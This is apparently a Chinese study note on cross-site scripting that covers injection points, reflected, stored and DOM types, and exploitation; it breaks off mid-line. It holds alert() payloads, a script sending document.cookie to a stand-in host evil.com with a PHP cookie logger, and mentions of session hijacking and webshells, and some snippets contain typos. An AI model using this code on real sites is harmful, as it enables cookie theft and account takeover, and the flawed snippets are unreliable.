xss
1.概念
跨站脚本攻击,英文全称Cross Site Script.
xss攻击,通常指黑客通过"HTML注入"篡改了网页,插入了恶意的脚本.从而在用户浏览网页时,控制用户浏览器的一种攻击.
常见场景
标签内的xss
${Xss}
属性里面的xss
事件中的xss
css里面的xss
<style type="text/css">
body{background-image:url(${xss});}
</style>
${xss}:javascript:alert(/xss/)
``` Script标签 ``` $username=1" alert(/xss/);// ```
输入的单引号/双引号被转义 标签内进行突破
οninput=alert(1) //
οnchange=alert(1)//
分类
xss根据效果不同,分成以下几类:
反射型xss
用户的输入,最终会由浏览器反馈给用户
如http://www.test.com?xs=
后端页面:
<?php
$input = $_GET['xs'];
echo $input;
?>
数据由服务端处理,传回来,最终又反馈到浏览器
反射型xss利用通常需要黑客诱导用户点击恶意链接等.
储存型xss
储存型xss会把用户输入的数据储存到服务端.任何别的用户若访问了带有储存型xss恶意脚本的资源,都会受到侵害.
比较常见的场景: 黑客写下一篇带有恶意JavaScript代码的博客文章,评论,留言.
所以访问该文章,评论,留言的用户,浏览器都会执行这段恶意代码
Dom型xss
Dom型xss效果与反射型xss类似.成因比较特别.不经过服务端处理,而是由前端的js脚本将用户输入插入到页面
比如:
<script>
function test()(
var str = document.getElementById("text").value;
document.getElementById("x").innerHTML = str;
)
</script>
<html>
<input type="text" id="text" value=""/>
<div id="x">
a
</div>
</html>
xss攻击
利用方式
通过xss加载恶意代码
http://www.test.com?xss=
xss窃取cookie
var img = document.createElement("img");
imr.src = "http://www.evil.com?"+escape(document.cookie);
<!--escape对字符进行编码-->
document.body.appendChild(img);
这段代码在请求资源时,会携带编码后的cookie进行请求,审查evil.com的日志即可查看到cookie
也可以在服务器接收
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?
可以利用cookie进行访问网站
会话劫持SESSION
xss让管理员添加用户等(构造POST请求,AJAX等)
获取webshell:利用管理员权限写一句话木马等
xss构造GET请求
比如搜狐网站删除某文章的链接是:
http://blog.sohu.com/manage/entry.do?m=delete&d=156713012
var img = document.createElement("img");
imr.src =